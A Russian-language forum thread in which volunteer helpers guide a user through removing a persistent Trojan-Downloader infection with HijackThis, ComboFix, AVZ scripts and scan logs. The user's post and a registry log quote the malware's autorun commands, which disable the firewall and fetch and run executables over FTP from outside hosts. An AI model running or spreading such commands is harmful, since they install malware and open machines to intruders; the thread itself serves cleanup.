Kaspersky Anti-Virus: forbidden incoming virus Trojan-Downloader.BAT.Small.aq

Прошу помочь в поимке вируса.
Антивирус Касперского 6.0.4.1424. ловит только продукты вируса а не сам вирус.
симптомы вируса:
1. на диске С и во многих системных папках появляются папки, где название набор символов, а также файлы "набор символов".exe
2. постоянно запускаются процессы типа cmd.exe, фтп(на англ).exe, net.exe, net1.exe и т.д.
3. появляются новые пользователи с правами админа и без, с различными именами
4. в автозагрузке появляются экзешные файлы, описанные выше, а так-же строчки типа: c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 111.73.45.74 > cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary>> cmd.txt&echo get1.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&del cmd.txt/q/f&exi
Выполняли полную проверку Антивирус Касперского 6.0.4.1424, Malwarebytes Anti-Malware 1.61.0.1400 а также Dr.Web CureIt

Уважаемый(ая) [B]makstarikov[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Пофиксите в HijackThis:
[code]
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://webalta.ru/poisk
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://webalta.ru/poisk
O4 - HKLM\..\Run: [shell] c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 111.73.45.74 > cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&1.exe&1.exe&del cmd.txt /q /f&exi
O4 - HKLM\..\Run: [shll] c:\windows\system32\dllcache\cmd.exe /c @echo open fm3322.s.3322.net>>cmd.txt&echo 123>>cmd.txt&echo xxx>>cmd.txt&echo get Whao.exe>> cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&Whao.exe&Whao.exe&del cmd.txt /q
[/code]
Перезагрузите компьютер.
Сделайте новые логи.
Сообщите, что изменилось.

Добрый день!
строчки пофиксил, причем пришлось в регэдит сначала разрешения менять-не давал. также почистил темп, корзину.
после первого раза ситуация не изменилась,вирус даже еще задания в планировщик накидал, и процессы с новыми именами типа ***server назапускал так, что сеть вся заглючила... почистил еще с лайв CD, снова реестр(убрал около 5-6 строчек) - сейчас пока ничего подозрительного не вижу, но прошел всего час...
боюсь, он не удален...антивирусы ж его не видят...
Прикладываю новые логи.

[COLOR="silver"]- - - Updated - - -[/COLOR]

Как я и думал, снова появился файл hex33.exe в корне С и в систем 32, также запустился одноименный процесс...
перезагрузок не было, комп простоял 2 часа и опять все поновой...
Помогите, пожалуйста!

Сделайте лог [url="http://virusinfo.info/showpost.php?p=457118&postcount=1"]полного сканирования МВАМ[/url]

прикрепляю лог

[url="http://virusinfo.info/showpost.php?p=493584&postcount=2"]Удалите в МВАМ[/url] [b]только указанные ниже записи[/b] [code]Обнаруженные процессы в памяти: 2
C:\WINDOWS\system32\hexwinuu.exe (Trojan.ServStart) -> 3576 -> Действие не было предпринято.
C:\WINDOWS\system32\comime.exe (Trojan.Agent) -> 3408 -> Действие не было предпринято.

Обнаруженные ключи в реестре: 2
HKLM\SYSTEM\CurrentControlSet\Services\CONIME (Trojan.Agent) -> Действие не было предпринято.
HKLM\SOFTWARE\Microsoft\Remote.exe (Trojan.PWS.Hupigon) -> Действие не было предпринято.

Обнаруженные папки: 1
C:\Documents and Settings\All Users\Application Data\Storm\update\%SESSIONNAME% (Trojan.ServiceHijacker) -> Действие не было предпринято.

Обнаруженные файлы: 48
C:\WINDOWS\system32\hexwinuu.exe (Trojan.ServStart) -> Действие не было предпринято.
C:\WINDOWS\system32\comime.exe (Trojan.Agent) -> Действие не было предпринято.
C:\hexwinuu.exe (Trojan.ServStart) -> Действие не было предпринято.
C:\WINDOWS\Update.exe (Trojan.ServStart) -> Действие не было предпринято.
C:\WINDOWS\system32\mcsql.exe (Trojan.Agent) -> Действие не было предпринято.
C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\01EFGTI7\winuu[1].exe (Trojan.ServStart) -> Действие не было предпринято.
C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\4HIJ8XMB\22[1].exe (Adware.ChinAd) -> Действие не было предпринято.
C:\RECYCLER\hexwinuu.exe (Trojan.ServStart) -> Действие не было предпринято.
C:\RECYCLER\hexServer.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\hexsvchost.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\onsql.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\scer.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\shcer.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\shver.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\stcer.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\stver.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\sver.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\zycer.exe (Trojan.Agent) -> Действие не было предпринято.
C:\RECYCLER\zyver.exe (Trojan.Agent) -> Действие не было предпринято.[/code]

Добрый день!
Указанные строчки удалил, перезагрузил-все то же самое. насколько понимаю МВАМ так-же как и каспер ловит только "продукты жизнедеятельности" вируса, но не его самого...
прикрепляю новый лог.

Сделайте лог [url="http://virusinfo.info/showpost.php?p=493610&postcount=1"]ComboFix[/url]

Прикрепляю лог ComboFix.

Скопируйте текст ниже в [b]Блокнот[/b] и сохраните как файл с названием [b]CFScript.txt[/b] на диск С.
[code]KillAll::

File::
c:\documents and settings\hex33.exe
c:\documents and settings\on33.exe
c:\documents and settings\hexServer.exe
c:\documents and settings\onsql.exe
C:\ljhvevpjcv
C:\udyewevpex

Driver::
MSUpdate.

NetSvc::
MSUpdate.

Folder::

Registry::

FileLook::
c:\windows\system32\wbem\we.exe

DirLook::
c:\windows\tt
c:\windows\kk
c:\windows\bb
[/code]
После сохранения переместите CFScript.txt на пиктограмму ComboFix.exe.
[img]http://safezone.cc/images/cfscript.gif[/img]
Когда сохранится новый отчет [B]ComboFix.txt[/B], прикрепите его к сообщению.

Добрый день!
Прикрепляю новый отчет.
после того, как вчера запускал в первый раз ComboFix, до сегодняшнего дня не появился ни один процесс, ни один новый пользователь, ни экзешники. Это уже радует =)

Папки
[CODE]c:\windows\tt
c:\windows\kk
c:\windows\bb[/CODE]удалите вручную

[url="http://virusinfo.info/showpost.php?p=500136&postcount=2"]Удалите ComboFix[/url]

Добрый день!
Папки удалил, но заметил, что вирус воскрес...
ComboFix запустил брендмауэер(он был отключен Каспером) тот в свою очередь видимо блокировал вирус, но сейчас и брендмауэр стал отключаться, после чего опять появляется множество поцессов, левых файлов и пользователей, запускается экранная клавиатура...

Обновления все для системы установлены?

Еще раз логи МВАМ и ComboFix сделайте

Обновление стоит только до SP3.
Новые логи прикладываю

[b]makstarikov[/b], сначала

Установите все [url=http://www.update.microsoft.com/microsoftupdate/v6/default.aspx?ln=ru][B]новые обновления[/B][/url] для Windows, потом

Выполните скрипт в AVZ при наличии доступа в интернет:

[CODE]begin
if FileExists(GetAVZDirectory + 'log\avz_log.txt') Then DeleteFile('log\avz_log.txt');
If DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', GetAVZDirectory +'ScanVuln.txt') Then ExecuteScript('ScanVuln.txt')
Else ShowMessage('Невозможно загрузить скрипт AVZ для обнаружения наиболее часто используемых уязвимостей!');
if FileExists(GetAVZDirectory + 'log\avz_log.txt') Then ExecuteFile('notepad.exe', GetAVZDirectory + 'log\avz_log.txt', 1, 0, false);
ExitAVZ;
end.[/CODE]

После его работы, если будут найдены уязвимости, в блокноте откроется файл avz_log.txt со ссылками на обновления системы и критичных к безопасности программ, которые нужно загрузить и установить. В первую очередь это относится к Java Runtime Environment, Adobe Reader и Adobe Flash Player, это программы, уязвимостями в которых наиболее часто пользуются для внедрения зловредов в систему.

[COLOR="silver"]- - - Updated - - -[/COLOR]

эти файлы вам знакомы ?

[QUOTE]D:\Cтарое\Бухгалтер\Рабочий стол\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Cтарое\Бухгалтер\Рабочий стол\1\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Cтарое\Бухгалтер\Рабочий стол\2003\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Cтарое\Бухгалтер\Рабочий стол\XP\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\1\Приколы\Масяня\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\2gis\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1000\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1c\519_prof\519_prof\R770519\DISK1\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1c\519_prof\R770519\DISK1\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1c\rp09q1_001.GRP\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1c\rp10q1.GRP\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1c\rp11q1.GRP_002\rp11q1.GRP\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1c\025\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.
D:\Distr\1c\025\DISK1\lpk.dll (Trojan.ServStart) -> Действие не было предпринято.

и т.д. [/QUOTE]

[COLOR="silver"]- - - Updated - - -[/COLOR]

потом

Закройте все программы

Отключите
- ПК от интернета/локалки.
[url=http://virusinfo.info/showthread.php?t=57441]- Антивирус и Файрвол[/url]

[url=http://virusinfo.info/showthread.php?t=7239]Выполните скрипт в АВЗ[/url] -

[code]
begin
if not IsWOW64
then
begin
SearchRootkit(true, true);
SetAVZGuardStatus(True);
end;
QuarantineFileF('c:\documents and settings\','*.exe', false,'',0 ,0);
QuarantineFile('D:\Distr\Драйвера\PC1200D_Series_Vista32\WF_UTIL\lpk.dll','');
QuarantineFile('D:\Distr\hp\HP 3030\Микропрограммное обеспечение\lpk.dlll','');
QuarantineFile('D:\Distr\1c\519_prof\519_prof\R770519\DISK1\lpk.dlle','');
QuarantineFile('C:\WINDOWS\XXXXXX4356B010\svchsot.exe','');
DeleteFile('C:\WINDOWS\XXXXXX4356B010\svchsot.exe');
QuarantineFile('C:\WINDOWS\Tasks\conime.exe','');
DeleteFile('C:\WINDOWS\Tasks\conime.exe');
QuarantineFile('C:\WINDOWS\system32\iprtrmgr.dll','');
QuarantineFile('C:\WINDOWS\system32\iprtrmgr.dll','');
BC_ImportALL;
ExecuteSysClean;
ExecuteWizard('TSW', 2, 3, true);
BC_Activate;
RebootWindows(true);
end.

[/code]

[color=#FF0000]После выполнения скрипта компьютер перезагрузится.[/color]

[b]После перезагрузки:[/b]
- Выполните в АВЗ:
[CODE]begin
CreateQurantineArchive(GetAVZDirectory+'quarantine.zip');
end.[/CODE]
Файл [b]quarantine.zip[/b] из папки AVZ загрузите по ссылке "[color=Red][b]Прислать запрошенный карантин[/b][/color]" вверху темы.

- Сделайте повторные логи по [url=http://virusinfo.info/pravila.html]правилам[/url] п.2 и 3 раздела Диагностика.([color=Blue]virusinfo_syscheck.zip;hijackthis.log[/color])

- повторите лог комбофикса + MBAM

Добрый день!
Обновления поставил. Далее тоже все по инструкции. Файлы lpk.dll мне не знакомы. И касперский после очередного обновления много их грохнул, так что не знаю, будут ли все запрошенные файлы в карантине, но при необходимости могу прислать карантин касперского.
На данный момент, после всех проведенных операций, действий вируса не замечаю(пользователи не появляются, левые процессы и пользователи тоже) единственное, в system32 осталось огромное количество файлов типа *boot123.exe(в логах ComboFix видно), также осталось много lpk.dll каспер их определяет как безопасные, но я точно знаю, что их не должно быть. Остались службы созданные вирусом - я их отключил, но хотелось бы удалить со всеми их ветками.
Спасибо!

Обновления для SQL Server все установлены? Если нет, то нужно срочно заняться

Скопируйте текст ниже в [b]Блокнот[/b] и сохраните как файл с названием [b]CFScript.txt[/b] на диск С.
[code]KillAll::

File::
c:\documents and settings\zyrr.exe
c:\documents and settings\shrr.exe
c:\documents and settings\s1.exe
c:\documents and settings\hexWhao.exe
c:\documents and settings\zyWhao.exe
c:\documents and settings\hexserver.exe
c:\windows\system32\hexsvhost.exe
C:\Program Files\Bwxy\Gwxyabcde.gif
C:\WINDOWS\Ball.exe
C:\WINDOWS\svchost.exe
C:\WINDOWS\server.exe

Driver::
Vwxyab Defghijk Mno

NetSvc::
Vwxyab Defghijk Mno

Folder::
c:\windows\tt
c:\program files\Bwxy

Registry::

FileLook::
c:\windows\system32\DUMP.COM

DirLook::
c:\windows\system32\ISQL
[/code]
После сохранения переместите CFScript.txt на пиктограмму ComboFix.exe.
[img]http://safezone.cc/images/cfscript.gif[/img]
Когда сохранится новый отчет [B]ComboFix.txt[/B], прикрепите его к сообщению.

+ сделайте новый лог полного сканирования MBAM.

Для версии SQL которая стоит (8.0.760) обновления все, по крайней мере при проверке через windows update, предлагает установить только Windows Live, который не стоит и не нужен.
На 2008 SQL перейти пока не могу-сервер на нем не работает.
отчет ComboFix прилагаю.
MBAM еще сканирует, как досканирует-добавлю.

Доброго времени суток!
К вечеру опять появились левые файлы в корне диска С и в систем32(st123.exe,s123.exe, zy123.exe, sh123.exe), также знакомые уже процессы cmd.exe
Касперский и MBAM определяют эти файлы как безопасные...

Повторите hijackthis и combofix

Извиняюсь за долгое отсутствие...
вот свежие логи

DNS Ваши? 212.33.225.212,212.33.224.136

Скопируйте текст ниже в блокнот и сохраните как файл с названием CFScript.txt на диск C:\.
[code]
KillAll::

File::
c:\program files\Remote\Remote.exe

Driver::
360sdupd
123456

NetSvc::

Folder::
c:\program files\Remote
Registry::

FileLook::

DirLook::
Reboot::
[/code]
После сохранения переместите CFScript.txt на пиктограмму ComboFix.exe.
[IMG]http://safezone.cc/images/cfscript.gif[/IMG]
Когда сохранится новый отчет ComboFix, запакуйте ComboFix.txt и прикрепите к сообщению.

Что с проблемой?

Проблема не ушла доконца, хотя теперь намного меньше-раз в 2-3 дня появляются файлики и процессы(тоже по 2-3) не как раньше каждые 2 часа и по десятку.
Вот запрошенный лог и 2 свежих стандартных.
PS извините, забыл запаковать...

В общем, налицо отсутствие всех необходимых обновлений для системы и MS SQL Server


c:\windows\system32\gaibian.com проверьте на [url="http://www.virustotal.com/ru"]virustotal[/url] Ссылку на результат проверки сообщите

Скопируйте текст ниже в [b]Блокнот[/b] и сохраните как файл с названием [b]CFScript.txt[/b] на диск С.
[code]KillAll::

File::
c:\windows\system32\LOVE.TMP

Driver::

Folder::
c:\windows\system32\111703
c:\windows\XXXXXXFCA431E0
c:\windows\kk
c:\windows\tt
c:\windows\bb

Registry::

FileLook::

DirLook::[/code]
После сохранения переместите CFScript.txt на пиктограмму ComboFix.exe.
[img]http://safezone.cc/images/cfscript.gif[/img]
Когда сохранится новый отчет [B]ComboFix.txt[/B], прикрепите его к сообщению.

Сделайте лог [url="http://support.kaspersky.ru/faq/?qid=208639606"]TDSSkiller[/url]

Вот ссылка на результат проверки, остальное чуть попозже выложу
[url]https://www.virustotal.com/file/6af0fb4b4e0c80f99127e14d669adbebc09903567df5b4e5713150a5a835fb69/analysis/[/url]
буду делать обновления

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]1[/B][*]Обработано файлов: [B]18[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\\documents and settings\\shrr.exe - [B]Trojan-Downloader.BAT.Small.bz[/B] ( AVAST4: BV:Ftp-AR [Trj] )[*] c:\\documents and settings\\zyrr.exe - [B]Trojan-Downloader.BAT.Small.bz[/B] ( AVAST4: BV:Ftp-AR [Trj] )[*] c:\\documents and settings\\zywhao.exe - [B]Trojan-Downloader.BAT.Small.bz[/B][*] d:\\distr\\драйвера\\pc1200d_series_vista32\\wf_util\\lpk.dll - [B]Rootkit.Win32.Lapka.an[/B] ( DrWEB: Trojan.Damaged.1, AVAST4: Win32:ServStart-C [Trj] )[/LIST][/LIST]